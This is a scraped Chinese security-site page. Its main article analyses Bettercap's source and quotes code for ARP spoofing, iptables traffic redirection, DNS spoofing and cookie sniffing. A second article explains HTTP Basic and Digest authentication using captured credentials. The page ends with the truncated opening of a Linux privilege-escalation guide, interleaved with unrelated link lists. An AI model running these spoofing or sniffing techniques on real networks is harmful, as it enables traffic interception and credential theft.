MITM渗透工具Bettercap源码分析

原创作者:Elie,本文属Freebuf原创奖励计划,未经许可禁止转载

简介

BetterCAP是一个强大,灵活和可移植的工具,用来为执行各种网络类型的MITM攻击,实时操纵HTTP,HTTPS和TCP流量,嗅探凭据等等。

Bettercap同时是一款采用Ruby编写的开源的软件,我们可以分析源码,来剖析软件的实现。

目录结构

lib/
├── bettercap
│   ├── banner
│   ├── context.rb           核心文件
│   ├── discovery            主机发现
│   │   ├── agents
│   │   │   ├── arp.rb
│   │   │   ├── base.rb
│   │   │   ├── icmp.rb
│   │   │   └── udp.rb
│   │   └── thread.rb
│   ├── error.rb
│   ├── firewalls            端口重定向
│   │   ├── base.rb
│   │   ├── bsd.rb
│   │   ├── linux.rb
│   │   └── redirection.rb
│   ├── loader.rb
│   ├── logger.rb            日志
│   ├── memory.rb
│   ├── monkey                对依赖第三方库类的扩充
│   │   ├── celluloid
│   │   │   ├── actor.rb
│   │   │   └── io
│   │   │       └── udp_socket.rb
│   │   ├── em-proxy
│   │   │   └── proxy.rb
│   │   ├── openssl
│   │   │   └── server.rb
│   │   ├── packetfu
│   │   │   ├── pcap.rb
│   │   │   └── utils.rb
│   │   └── system.rb
│   ├── network
│   │   ├── arp_reader.rb
│   │   ├── hw-prefixes
│   │   ├── network.rb
│   │   ├── packet_queue.rb
│   │   ├── protos             实现部分协议,parser(解析器)需要用到
│   │   │   ├── base.rb
│   │   │   ├── dhcp.rb
│   │   │   ├── mysql.rb
│   │   │   ├── ntlm.rb
│   │   │   └── snmp.rb
│   │   ├── servers
│   │   │   ├── dnsd.rb            DNS服务
│   │   │   └── httpd.rb
│   │   ├── services
│   │   ├── target.rb
│   │   └── validator.rb
│   ├── options                    命令行参数解析
│   │   ├── core_options.rb
│   │   ├── options.rb             参数解析
│   │   ├── proxy_options.rb       代理功能参数解析
│   │   ├── server_options.rb      server功能呢参数解析
│   │   ├── sniff_options.rb       sniff功能参数解析
│   │   └── spoof_options.rb       spoof功能参数解析
│   ├── pluggable.rb                 模块基类
│   ├── proxy                        代理模块实现(数据的拦截及篡改)
│   │   ├── http
│   │   │   ├── module.rb            模块(插件)基类
│   │   │   ├── modules
│   │   │   │   ├── injectcss.rb
│   │   │   │   ├── injecthtml.rb
│   │   │   │   └── injectjs.rb      注入js代码的模块(插件)
│   │   │   ├── proxy.rb             http代理实现
│   │   │   ├── request.rb
│   │   │   ├── response.rb
│   │   │   ├── ssl
│   │   │   │   ├── authority.rb
│   │   │   │   ├── bettercap-ca.pem
│   │   │   │   └── server.rb
│   │   │   ├── sslstrip
│   │   │   │   ├── cookiemonitor.rb
│   │   │   │   ├── lock.ico
│   │   │   │   └── strip.rb
│   │   │   └── streamer.rb        http代理数据处理
│   │   ├── stream_logger.rb
│   │   ├── tcp
│   │   │   ├── module.rb
│   │   │   └── proxy.rb
│   │   └── thread_pool.rb         线程池
│   ├── shell.rb
│   ├── sniffer                    sniffer功能的实现
│   │   ├── parsers                可以解析的数据包类型
│   │   │   ├── base.rb
│   │   │   ├── cookie.rb
│   │   │   ├── creditcard.rb
│   │   │   ├── custom.rb
│   │   │   ├── dhcp.rb
│   │   │   ├── dict.rb
│   │   │   ├── ftp.rb
│   │   │   ├── httpauth.rb
│   │   │   ├── https.rb
│   │   │   ├── irc.rb
│   │   │   ├── mail.rb
│   │   │   ├── mpd.rb
│   │   │   ├── mysql.rb
│   │   │   ├── nntp.rb
│   │   │   ├── ntlmss.rb
│   │   │   ├── pgsql.rb
│   │   │   ├── post.rb
│   │   │   ├── redis.rb
│   │   │   ├── rlogin.rb
│   │   │   ├── snmp.rb
│   │   │   ├── snpp.rb
│   │   │   ├── url.rb
│   │   │   └── whatsapp.rb
│   │   └── sniffer.rb
│   ├── spoofer                    欺骗功能的实现
│   │   ├── arp.rb
│   │   ├── base.rb
│   │   ├── icmp.rb
│   │   └── none.rb
│   ├── update_checker.rb
│   └── version.rb
└── bettercap.rb

23 directories, 94 files

源码分析

全局介绍

目录结构部分已经注明部分重要的文件以及文件夹的功能。其中lib/bettercap/context.rb文件中的BetterCap::Context类为BetterCap的一个核心的单例类。lib/bettercap/options/options.rb文件中的BetterCap::Options为命令行参数解析类

入口分析

/bin/bettercap BetterCap的启动文件输出Banner之后,核心的两行代码

ctx = BetterCap::Options.parse!
ctx.start!

进行解析命令行参数,返回一个BetterCap::Context的实例,同时调用ctx这个实例的start!函数

可以看出程序的核心入口在BetterCap::Context.start!函数中

lib/bettercap/context.rb

def start!
  # Start targets auto discovery.
  @discovery.start    
  # 如果没有指定具体的主机发现,将进行自动主机发现,添加到攻击目标列表中

  # Start network spoofers if any.
  @spoofer.each do |spoofer|
  # 遍历指定的网络欺骗类型,默认ARP
    spoofer.start
    # 开始对目标列表进行欺骗
  end

  # Start proxies and setup port redirection.
  if @options.proxies.any?
  # 有没有配置拦截,或者篡改数据的相关选项
    if ( @options.proxies.proxy or @options.proxies.proxy_https ) and @options.sniff.enabled?('URL')
    # 如果同时指定的http或者https数据拦截篡改的同时开启了sniff url的功能输入一个警告
      BetterCap::Logger.warn "WARNING: Both HTTP transparent proxy and URL parser are enabled, you're gonna see duplicated logs."
    end
    create_proxies!
    # 开始创建代理,用来进行数据包的拦截篡改
  end

  enable_port_redirection!
  # 配置端口重定向,
  # 例如实现目标地址为80端口的数据包全部重定向到上面创建的http代理中,实现对数据包的拦截篡改
  # 把目标地址为53的数据包,重定向到下面开启的DNS服务中(5300端口)从而实现DNS欺骗
  # 等

  create_servers!
  # 根据命令行参数,创建DNS服务器以及HTTP服务

  # Start network sniffer.
  if @options.sniff.enabled?
  # 是否开启sniff功能呢
    Sniffer.start self
    # 开始进行Sniffer功能
  elsif @options.spoof.enabled? and [email protected]?
    Logger.warn 'WARNING: Sniffer module was NOT enabled ( -X argument ), this '\
                'will cause the MITM to run but no data to be collected.'
  end
end

可以看到上面6处主要功能

  • 主机发现
  • 网络欺骗
  • 端口重定向(用来实现把所有我们想要拦截篡改的目标端口的数据包重定向到代理端口中)
  • 数据包的拦截和篡改
  • DNS欺骗
  • 数据包的sniff

主机发现功能的实现

命令参数options.core.discovery默认为true,也就是进行存活主机发现,如果命令行参数中有–no-discovery,则options.core.discovery = false

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb

def initialize
  @discovery    = Discovery::Thread.new self
end

def start!
  @discovery.start # 开始探测存活主机
  ...
end

lib/bettercap/discovery/thread.rb

module BetterCap
module Discovery
class Thread
  def start
    @running = true
    @thread  = ::Thread.new { worker }    # 新建一个线程,跑 worker函数,功能是主机发现

    if @ctx.options.core.discovery?        # 如果开启主机发现,sleep 1.5 秒, 让主机发现线程先跑1.5秒
      sleep(1.5)
    end
  end
  def worker
    ...
    prev = []       
    while @running
      # -T 参数指定的目标主机,如果没有指定目标,则进行存活主机发现,存活的主机,全部加入到目标主机
      if @ctx.options.core.targets.nil?      
        @ctx.targets = Network.get_alive_targets(@ctx).sort_by {      # 进行存活主机发现
          |t| t.sortable_ip
        }
      end

      # 循环中
      # [email protected], 与上一次的目标主机列表prev 不同,在命令行打印出来
      print_differences( prev ) if @ctx.options.core.discovery?

      prev = @ctx.targets       # 记录当前目标主机列表

      @ctx.memory.optimize!
      sleep(1) if @ctx.options.core.discovery?
    end
  end
end
end
end
end

lib/bettercap/network/network.rb

def get_alive_targets( ctx )
  if ctx.options.core.discovery?    # 主机发现默认开启
    start_agents( ctx )                # 发送广播包
  end

  ArpReader.parse ctx                # 读取arp缓存表,获取存活的主机
end

def start_agents( ctx, address = nil )
  # 使用 icmp ud arp 三种协议,创建广播包(lib/bettercap/discovery/agents)push进入ctx.packets这个数据包发送列队(BetterCap::Network::PacketQueue)
  # 具体过程参考
  # lib/bettercap/discovery/agents/base.rb
  # lib/bettercap/network/packet_queue.rb
  [ 'Icmp', 'Udp', 'Arp' ].each do |name|
    BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx, address)
  end
  # 等待数据包发送列队,把数据包全部发送出去
  ctx.packets.wait_empty( ctx.timeout )
end

lib/bettercap/network/arp_reader.rb

module BetterCap
module Network
class ArpReader
    def self.parse( ctx )
    targets = []
    self.parse_cache do |ip,mac|      # 解析换从表,传递一个block
      if ip != ctx.gateway.ip and ip != ctx.iface.ip
        if ctx.options.core.ignore_ip?(ip)
          Logger.debug "Ignoring #{ip} ..."
        else
          # reuse Target object if it's already a known address
          known = ctx.find_target ip, mac
          if known.nil?
            # 发现新的存活主机,扔进数组中
            targets << Target.new( ip, mac )
          else
            targets << known
          end
        end
      end
    end
    targets   # 将新发现的存活主机返回
  end

  def self.parse_cache
    iface = Context.get.iface.name
    Shell.arp.split("\n").each do |line|    # Shell.arp 就是执行 LANG=en && arp -a -n 参考 lib/bettercap/shell.rb
      m = self.parse_cache_line(iface,line) # 正则匹配缓存表每一行
      unless m.nil?
        ip = m[1]
        hw = Target.normalized_mac( m[2] )
        if hw != 'FF:FF:FF:FF:FF:FF'
          yield( ip, hw )                   # call block
        end
      end
    end
  end

  def self.parse_cache_line( iface, line )
    if RUBY_PLATFORM =~ /openbsd/i
      /([0-9\.]+)\s+([a-f0-9:]+)\s+#{iface}\s+./i.match(line)
    else
      /[^\s]+\s+\(([0-9\.]+)\)\s+at\s+([a-f0-9:]+).+#{iface}./i.match(line)
    end
  end
end
end
end

网络欺骗功能的实现

命令行参数-S 指定 网络欺骗使用的协议,默认为arp

lib/bettecap/options/spoof_options.rb

def initialize
  @spoofer     = 'ARP'
  @half_duplex = false
  @kill        = false
end
//可以使用-S指定多个协议
def parse_spoofers
  valid = []
  @spoofer.split(",").each do |module_name|
    valid << Spoofers::Base.get_by_name( module_name )    //讲指定spoofer的对象存放到数组并返回
  end
  valid
end

lib/bettercap/context.rb

@spoofer.each do |spoofer|
  spoofer.start //调用spoofer的start函数
end

以ARP协议为例

lib/bettercap/spoofers/arp.rb

def send_spoofed_packet( saddr, smac, daddr, dmac )
  pkt = PacketFu::ARPPacket.new
  pkt.eth_saddr = smac
  pkt.eth_daddr = dmac
  pkt.arp_saddr_mac = smac
  pkt.arp_daddr_mac = dmac
  pkt.arp_saddr_ip = saddr
  pkt.arp_daddr_ip = daddr
  pkt.arp_opcode = 2            //发送arp响应包

  @ctx.packets.push(pkt)
end

def start
    ...
  @sniff_thread = Thread.new { arp_watcher }        //创建一个线程监听arp广播包
  @spoof_thread = Thread.new { arp_spoofer }        //
  ...
end

def arp_watcher
    ...
  sniff_packets('arp') { |pkt|            //数据包是一个arp数据包
    if is_arp_query?(pkt)                        //是一个arp请求的数据包
      Logger.info "[#{'ARP'.green}] #{pkt.arp_src_ip.to_s} is asking who #{pkt.arp_dst_ip.to_s} is."
      send_spoofed_packet pkt.arp_dst_ip.to_s, @ctx.iface.mac, pkt.arp_src_ip.to_s, pkt.arp_src_mac.to_s                    //发送arp响应包,欺骗原地址主机,目标的IP地址对应的mac,是自己的mac
    end
  }
end

def arp_spoofer
  spoof_loop(1) { |target|
    if target.spoofable?
      spoof(target)            //调用spoof
    end
  }
end

 def spoof( target, restore = false )        // restore = true,用户程序停止时,恢复目标主机mac地址表
  if restore
      //恢复目标主机的网关IP MAC映射关系
    send_spoofed_packet( @ctx.gateway.ip, @ctx.gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
    //恢复网关的目标主机IP MAC映射关系
    send_spoofed_packet( target.ip, target.mac, @ctx.gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.spoof.half_duplex
    ...
  else
    //欺骗目标,冒充网关
    send_spoofed_packet( @ctx.gateway.ip, @ctx.iface.mac, target.ip, target.mac )
    //欺骗网关,冒充目标
    send_spoofed_packet( target.ip, @ctx.iface.mac, @ctx.gateway.ip, @ctx.gateway.mac ) unless @ctx.options.spoof.half_duplex
    ...
  end
end

端口转发功能的实现

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb

def start!
    rection!   # 创建端口转发,拦截数据并转发到代理端口上

lib/bettercap/context.rb

# Apply needed BetterCap::Firewalls::Redirection objects.
  def enable_port_redirection!
    # 获取需要端口转发的规则
    @redirections = @options.get_redirections(@iface) 
    # 遍历转发规则(Firewalls::Redirection的实例)
    @redirections.each do |r|
      Logger.debug "Redirecting #{r.protocol} traffic from #{r.src_address.nil? ? '' : r.src_address}:#{r.src_port} to #{r.dst_address}:#{r.dst_port}"
      # 进行端口转发
      @firewall.add_port_redirection( r )
    end
  end

lib/options/options.rb

def get_redirections iface
    if @proxies.proxy
        redirections << redir( iface.ip, port, @proxies.proxy_port )

lib/options/options.rb

def redir( address, port, to, proto = 'TCP' )
  Firewalls::Redirection.new( @core.iface, proto, nil, port, address, to )
end

Firewalls::Redirection的实例即为需要端口转发的规则

lib/bettercap/firewalls/linux.rb

def add_port_redirection( r )
    # post route
    Shell.execute('iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE')
    # accept all
    Shell.execute('iptables -P FORWARD ACCEPT')
    # add redirection
    Shell.execute("iptables -t nat -A PREROUTING -i #{r.interface} -p #{r.protocol} #{r.src_address.nil? ? '' : "-d #{r.src_address}"} --dport #{r.src_port} -j DNAT --to #{r.dst_address}:#{r.dst_port}")
  end

将特定端口的所有数据,重定向到代理端口上去

数据包拦截篡改功能的实现

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb

def start!
    if @options.proxies.any?
        create_proxies!        # 创建代理(数据包处理) 默认监听8080端口
    end

    enable_port_redirection!   # 创建端口转发,拦截数据并转发到代理端口上

def create_proxies!
    @proxies << Proxy::HTTP::Proxy.new( @iface.ip, @options.proxies.proxy_port, false )

    @proxies.each do |proxy|
      proxy.start
    end

上面以及分析过端口转发功能的实现,只需要创建代理之后,把所有的数据包重定向到我们的代理端口上就可以对数据包进行拦截和篡改

以http代理举例分析

lib/proxy/http/proxy.rb``BetterCap::Proxy::HTTP::Proxy``initialize函数中 中创建一个线程池@pool,使用client_worker client处理数据start函数中创建代理服务,使用server_thread函数中IO.select(sockets)处理每一个发送过来的请求,并发送到线程池 @pool << io

client_worker函数解析http请求,调用@streamer.handle( request, client )[email protected]( request, client )中获取响应结果后,调用process( request, response ),来间接调用BetterCap::Proxy::HTTP::Module.modules(--proxy-module hack_titleon_request函数来对数据包进行篡改操作,最后调用client.write response.to_s,向受害者返回响应数据包

从而完成对数据包的拦截和篡改

DNS欺骗功能的实现

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/options/server_options.rb

opts.on( '--dns FILE', 'Enable DNS server and use this file as a hosts resolution table.' ) do |v|
  @dnsd      = true            # 如果参数中配置了 --dns /tmp/hosts.txt, [email protected] = true
  @dnsd_file = File.expand_path v    [email protected]_file
end

opts.on( '--dns-port PORT', "Set DNS server port, default to [email protected]_port.to_s.yellow}." ) do |v|
  raise BetterCap::Error, "Invalid port '#{v}' specified." unless Network::Validator.is_valid_port?(v)
  @dnsd_port = v.to_i        # 设置DNS server监听端口
end

lib/bettercap/context.rb

def start!
  ...
  enable_port_redirection!
  create_servers!
  ...
end

def enable_port_redirection!
  @redirections = @options.get_redirections(@iface)        # 获取端口重定向规则
  @redirections.each do |r|
    Logger.debug "Redirecting #{r.protocol} traffic from #{r.src_address.nil? ? '' : r.src_address}:#{r.src_port} to #{r.dst_address}:#{r.dst_port}"
    @firewall.add_port_redirection( r )                    # 依据重定向规则进行端口重定向
  end
end

def create_servers!
  # Start local DNS server.
  if @options.servers.dnsd        # 如果使用了--dns 参数,则为true
    Logger.warn "Starting DNS server with spoofing disabled, bettercap will only reply to local DNS queries." unless @options.spoof.enabled?

    @dnsd = Network::Servers::DNSD.new( @options.servers.dnsd_file, @iface.ip, @options.servers.dnsd_port )        # 实例化一个dns服务对象
    @dnsd.start                     # 跑起来服务
  end
  ...
end

端口重定向规则的获取lib/bettercap/options/options.rb

def get_redirections iface
  redirections = []

  if @servers.dnsd or @proxies.sslstrip?
      # 新建转发规则,把目的地址为53的tcp,udp数据包全部重定向到dns server port上,默认为5300
    redirections << redir( iface.ip, 53, @servers.dnsd_port )    
    redirections << redir( iface.ip, 53, @servers.dnsd_port, 'UDP' )
  end
  ...
  redirections
end

使用了RubyDNS创建DNS Server,依赖rubydns gem,具体实现参考RubyDNS,只分析关键代码lib/bettercap/network/servers/dnsd.rb

options = {                        # RubyDNS的配置
  :listen => @ifaces,
  :asynchronous => true,
  :server_class => DnsWrapper    # 自定义dns解析处理类,方便ob 目标主机的DNS的解析
}

RubyDNS::run_server( options ) do    # 使用RubyDNS跑起来一个 DNS Server
    @logger.level = ::Logger::ERROR
    @upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])

    # 默认DNS查询处理,使用 8.8.8.8
    otherwise do |transaction|
      Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
      transaction.passthrough!(@upstream)
    end
end

unless @hosts.nil?            # @hosts 在实例初始化时候赋值,[email protected]_file, 也就是指定的要进行欺骗的DNS文件路径
  DNSD.parse_hosts( @hosts ).each do |exp,addr|        # 解析文件, 格式 exp为域名或者匹配域名的正则表达式,addr为解析到的IP地址
    add_rule!( exp, addr )    # 添加到dns查询规则里面
  end
end

def add_rule!( exp, addr )
  Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."

  block = Proc.new do |transaction|        # 创建一个 当前这个dns解析的block
    Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
    transaction.respond!(addr)
  end

  DnsWrapper.get.rules << RubyDNS::RuleBasedServer::Rule.new( [ Regexp.new(exp), Resolv::DNS::Resource::IN::A ], block )    
  # 新建一个RubyDNS::RuleBasedServer::Rule实例,存放到当前DNS Server的规则表中
end

到此为止,当目标机,发送DNS请求,如果查询的域名,存在在我们的dns.txt文件中,或者能够被文件中的域名正则匹配到,就直接使用dns.txt文本中,对应的ip作为dns解析结果进行回应。达到DNS欺骗的目的。

捕获特定数据包的解析

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb

def start!
    # Start network sniffer.
    if @options.sniff.enabled?
      Sniffer.start self         #sniff数据包  在一个新的线程里面运行
    elsif @options.spoof.enabled? and [email protected]?    
    #如果同时开启了欺骗的同时开启了代理模式(数据包的篡改)输出一个警告
      Logger.warn 'WARNING: Sniffer module was NOT enabled ( -X argument ), this '\
                  'will cause the MITM to run but no data to be collected.'
    end

lib/bettercap/sniff/sniff.rb

def self.start( ctx )
  Thread.new {
  Logger.debug 'Starting sniffer ...'

  setup( ctx )  # 创建一个PacketFu::Capture对象,进行网卡监听 @@cap

  start     = Time.now
  skipped   = 0
  processed = 0

  self.stream.each do |raw_packet|    #self.stream 即为 @@cap.stream, 遍历监听到的数据包
    break unless @@ctx.running        #退出循环,如果程序结束
    begin
      parsed = PacketFu::Packet.parse(raw_packet)  #解析数据包,返回响应的Packet子类对象
    rescue Exception => e
      parsed = nil
    end

    if skip_packet?(parsed)      # 判断是非为目标主机的数据包,如果不是目标数据包,则跳过
      skipped += 1
    else
      processed += 1            # 如果是目标主机数据包
      append_packet raw_packet    # 如果参数设置了数据包记录文件,则将数据包写入到文件中
      parse_packet parsed        # 解析数据包,关键代码
    end
  end

  stop = Time.now
  delta = ( stop - start )  1000.0
  total = skipped + processed

  Logger.info "[#{'SNIFFER'.green}] #{total} packets processed in #{delta} ms ( #{skipped} skipped packets, #{processed} processed packets )"
}
end

lib/bettercap/sniff/sniff.rb

def self.parse_packet( parsed )
  # @@parsers 数组,存放要进行数据包类型判断对象
  @@parsers.each do |parser|            #遍历所有对象
    begin
      parser.on_packet parsed            #对当前数据进行解析判断,如果解析成功,则输出。 关键代码
    rescue Exception => e
      Logger.exception e
    end
  end
end

数据包解析类的父类为BetterCap::Parsers::Base数据包解析类都存放在lib/bettercap/sniffer/parsers/文件夹中,支持的解析类型为

➜  bettercap git:(master) ✗ ls lib/bettercap/sniffer/parsers
base.rb       creditcard.rb dhcp.rb       ftp.rb        https.rb      mail.rb       mysql.rb      ntlmss.rb     post.rb       rlogin.rb     snpp.rb       whatsapp.rb
cookie.rb     custom.rb     dict.rb       httpauth.rb   irc.rb        mpd.rb        nntp.rb       pgsql.rb      redis.rb      snmp.rb       url.rb

@@parsers的赋值在lib/bettercap/sniff/sniff.rb

#setup( ctx )的时候
def self.setup( ctx )
  ...
  if @@ctx.options.sniff.custom_parser.nil?
    # 根据命令行参数,加载置顶的解析类,也就是所有的解析类实例化,存放到@@parsers
    @@parsers = Parsers::Base.load_by_names @@ctx.options.sniff.parsers
  else
    # 命令行自定义解析的正则
    @@parsers = Parsers::Base.load_custom @@ctx.options.sniff.custom_parser
  end

@@ctx.options.sniff.parsers的由来lib/bettercap/options/sniff_options.rb

# 默认为全部解析器
def initialize
 @parsers       = ['']
end
# 或者为指定的一个或多个
opts.on( '-P', '--parsers PARSERS', "Comma separated list of packet parsers to enable, '' for all ( NOTE: Will set -X to true ), available: #{Parsers::Base.available.map { |x| x.yellow }.join(', ')} - default: #{''.yellow}" ) do |v|
  @enabled = true
  @parsers = Parsers::Base.from_cmdline(v)        #根据命令行返回指定的解析器的类名
end

Parsers::Base.load_by_names函数,实例化指定的解析器类,或者所有的解析器类(除了BetterCap::Parsers::Custom)。

实例化的解析器对象,被依次调用on_packet方法,处理当前的数据包例如lib/bettercap/sniffer/parsers/cookie.rb

module BetterCap
module Parsers
# HTTP cookies parser.
class Cookie < Base
  # Cookies to ignore.
  FILTER = [ '__cfduid', '_ga', '_gat' ].freeze

  def on_packet( pkt )
    hostname = nil
    cookies = {}

    pkt.to_s.split("\n").each do |line|        # 匹配HTTP头部的 Host 以及 Cookie
      if line =~ /Host:\s([^\s]+)/i
        hostname = $1
      elsif line =~ /.Cookie:\s(.+)/i
        $1.strip.split(';').each do |v|
          k, v = v.split('=').map(&:strip)
          next if k.nil? or v.nil?
          unless k.empty? or v.empty? or FILTER.include?(k)
            cookies[k] = v
          end
        end
      end
    end

    unless hostname.nil? or cookies.empty?        # 如果同时匹配到了
      StreamLogger.log_raw( pkt, "COOKIE", "[#{hostname.yellow}] #{cookies.map{|k,v| "#{k.green}=#{v.yellow}"}.join('; ')}" )        # 输出对应host的cookie
    end
  end
end
end
end

程序的停止

lib/bettercap

begin
...
ensure
  # Make sure all the messages on the logger queue are printed.
  BetterCap::Logger.wait!

  ctx.finalize unless ctx.nil?
end

lib/bettercap/context.rb

def finalize
  @running = false            [email protected],很多线程就会停止工作
  @discovery.stop             //停止主机发现

  @spoofer.each do |spoofer|
    spoofer.stop                 //停止spoofer
  end

  @packets.stop                 //停止sniff

  @proxies.each do |proxy|
    proxy.stop                     //停止代理程序
  end

  @redirections.each do |r|
    @firewall.del_port_redirection( r )            //删除本机端口重定向规则
  end

  @firewall.restore                                             //刷新本纪端口重定向信息

  @dnsd.stop unless @dnsd.nil?                         //停止dnsd
  @httpd.stop unless @httpd.nil?                     //停止httpd
end

原创作者:Elie,本文属Freebuf原创奖励计划,未经许可禁止转载

天津一排污单位篡改自动监测数据被罚38.85万元

猜您喜欢

UCloud推出运维审计系统 提升风控水平
The baby will not pick seat safety, the burning brain training habits to wits (practical, detailed and comprehensive) http://www.chinacybersafety.com/2017032711673.html
企鹅伴成长 腾讯携手联合国儿童基金会共同保护儿童上网安全
安全月安全生产教育动画片——小李的一天
BATDONGSANHUNGYEN PCOATING
信息安全理论还是实践
个人信息泄露危害大,沃通多场景保护个人信息安全

HTTP认证的底层技术简析与揭秘

http.jpg

写在前面的话

HTTP认证实现的基础是Web服务器与浏览器之间能够安全地交换类似用户名和密码这样的用户凭证,我们也可以把HTTP认证当作是摘要验证(Digest Authentication),这种预定义方法/标准在HTTP协议中使用了编码技术和MD5加密哈希。在这篇文章中,我们将会跟大家详细讨论一下HTTP认证所采用的技术和标准。为了方便大家的理解,本文将使用我们自己编写的一个php脚本,它可以方便地帮助我们捕获用户名和密码。脚本下载

使用Base64编码的基本访问认证

在了解基本认证这一部分中,我们将使用base64编码来生成我们的加密字符串,这个字符串中将包含用户名和密码。需要注意的是,我们这里还可以选择使用其他的编码技术,例如URL编码或十六进制编码等等。

在下面给出的这个列子中,我们使用Burpsuite捕捉到了用户请求。我们可以看到,Web页面正在向客户端请求输入认证数据:

2.png

我们输入的用户名是“hackingarticles”,密码为“ignite”。

基本认证所采用的请求语句如下:

Value = username:password

Encoded Value =  base64(Value)

Authorization Value = Basic <Encoded Value> 

在基本认证过程中,用户名和密码会被组合成一个单独的字符串,并且使用冒号进行分割。

Value =  hackingarticles:ignite

接下来,浏览器会用base64来对这个字符串进行编码。

3.png

“hackingarticles:ignite”在经过base64编码之后的值即为“aGFja2luZ2FydGljbGVzOmlnbml0ZQ==”。

最终的认证值(Authorization Value)就是“字符串‘Basic’+空格+编码后的值”,Burpsuite捕获的请求如下图所示:

4.png

在这个例子中的认证值就是“Basica GFja2luZ2FydGljbGVzOmlnbml0ZQ==”,而这个值将会被发送至服务器端。最后,服务器会解密这个认证值,然后返回用户输入的凭证。

5.png

基本认证是非常不安全的,因为这里仅仅只使用了编码技术,而认证值是可以被解码的。为了增强认证的安全性,我们接下来会讨论其他一些安全系数更高的标准。

RFC 2069摘要访问认证

摘要访问认证使用了哈希算法来生成加密之后的结果。RFC2069现在已经过时了,目前广泛使用的是RFC 2617,它是RFC2069的增强版。为了让大家更好地理解RFC 2069所使用的请求语句,我们在下面给出了RFC2069的语句样例:

Hash1=MD5(username:realm:password)

Hash2=MD5(method:digestURI)

response=MD5(Hash1:nonce:Hash2)

Hash1(username:realm:password)中包含的是用户名和密码的MD5哈希值,其中的“rea1m”可以是服务器端提供的任意字符串,而用户名和密码则由客户端输入。

Hash2(method:digestURI)中包含的是请求方法和摘要地址的MD5哈希值,请求方法(method)可以是GET或POST,具体需要根据页面所使用的请求方法来确定,而摘要地址(digestURI)则是发送请求的页面地址。

response(hash1:nounce:hash2)中的值是最后需要发送给服务器端的字符串,其中包含的是刚才生成的hash1和hash2,以及一个任意字符串nonce,这个nonce字符串由服务器端发送给客户端,且只能使用一次(相当于一次性验证码)。

RFC 2617摘要访问认证

RFC 2617摘要认证同样使用了MD5哈希算法,但是最终哈希值的生成还需要涉及到一些额外的参数。RFC2617的请求语句如下所示:

Hash1=MD5(username:realm:password)

Hash2=MD5(method:digestURI)

response=MD5(Hash1:nonce:nonceCount:cnonce:qop:Hash2)

与之前一样,Hash1(username:realm:password)中包含的是用户名和密码的MD5哈希值,其中的“rea1m”可以是服务器端提供的任意字符串,而用户名和密码则由客户端输入。

Hash2(method:digestURI)中包含的是请求方法和摘要地址的MD5哈希值,请求方法(method)可以是GET或POST,具体需要根据页面所使用的请求方法来确定,而摘要地址(digestURI)则是发送请求的页面地址。

response((Hash1:nonce:nonceCount:cnonce:qop:Hash2)中的值是最后需要发送给服务器端的字符串,其中包含的是刚才生成的hash1和hash2以及一些额外参数。如果你想了解这些额外参数的话,可以参考微软发布的这篇技术文章【点我点我】。

接下来,我们会给大家介绍RFC 2617的工作机制。首先,Web页面会向客户端请求输入数据:

6.png

我们输入的用户名为“guest”,密码同样为“guest”。在Burpsuite的帮助下,我们捕获到了浏览器发送的请求以及所有的参数,现在我们就可以用其他哈希计算工具来生成输入数据的哈希值,然后再用我们自己生成的数据来与捕获到的哈希数据进行对比。

7.png

我们捕获到的哈希值以及相应参数如下所示:

realm=”Hacking Articles”,nonce=”58bac26865505″, uri=”/auth/02-2617.php”, opaque=”8d8909139750c6bd277cfe1388314f48″,qop=auth, nc=00000001, cnonce=”72ae56dde9406045″ , response=”ac8e3ecd76d33dd482783b8a8b67d8c1″,

Hash1 Syntax=MD5(username:realm:password)

hash1 =  md5(guest:Hacking Articles:guest)

我们自己用工具计算出的MD5哈希值如下所示:

guest:Hacking Articles:guest

Hash:2c6165332ebd26709360786bafd2cd49

8.png

GET:/auth/02-2617.php

Hash:b6a6df472ee01a9dbccba5f5e6271ca8

9.png

response =MD5(2c6165332ebd26709360786bafd2cd49:58bac26865505:00000001:72ae56dde9406045:auth:b6a6df472ee01a9dbccba5f5e6271ca8)

Hash:ac8e3ecd76d33dd482783b8a8b67d8c1

10.png

没错,我们通过Hash Calculator(哈希计算器)自行计算出的哈希值与我们通过Burpsuite捕获到的哈希值是完全一样的。

最后,服务器会解密response的值,输出结果如下图所示:

11.png

总结

我们在这篇文章中跟大家分析了当前HTTP认证的底层加密技术,希望这些内容可以帮助到各位白帽子,给大家在挖洞的过程中提供灵感。

参考来源:networkworld, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

包含消防预案与演练的在线EHS动画培训课程

猜您喜欢

潮流网络推出企业无线覆盖解决方案
周宏春:分享经济为绿色发展添砖加瓦 http://news.keepred.cn/201703256337.html
无线网络安全之无线路由器隐身
面向企业员工的HSE基础知识扫盲式在线学习教程
KFC FOURPAWS
身份窃贼产业分析
潮流网络推出企业无线覆盖解决方案

Linux提权:从入门到放弃

原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载

日站就要日个彻底。往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子扼杀在提权的萌芽里面。Linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。一下是我总结的一些提权方法。

几点前提

已经拿到低权shell

被入侵的机器上面有nc,python,perl等linux非常常见的工具

有权限上传文件和下载文件

内核漏洞提权

提到脏牛,运维流下两行眼泪,我们留下两行鼻血。内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集。

查看发行版

cat /etc/issue
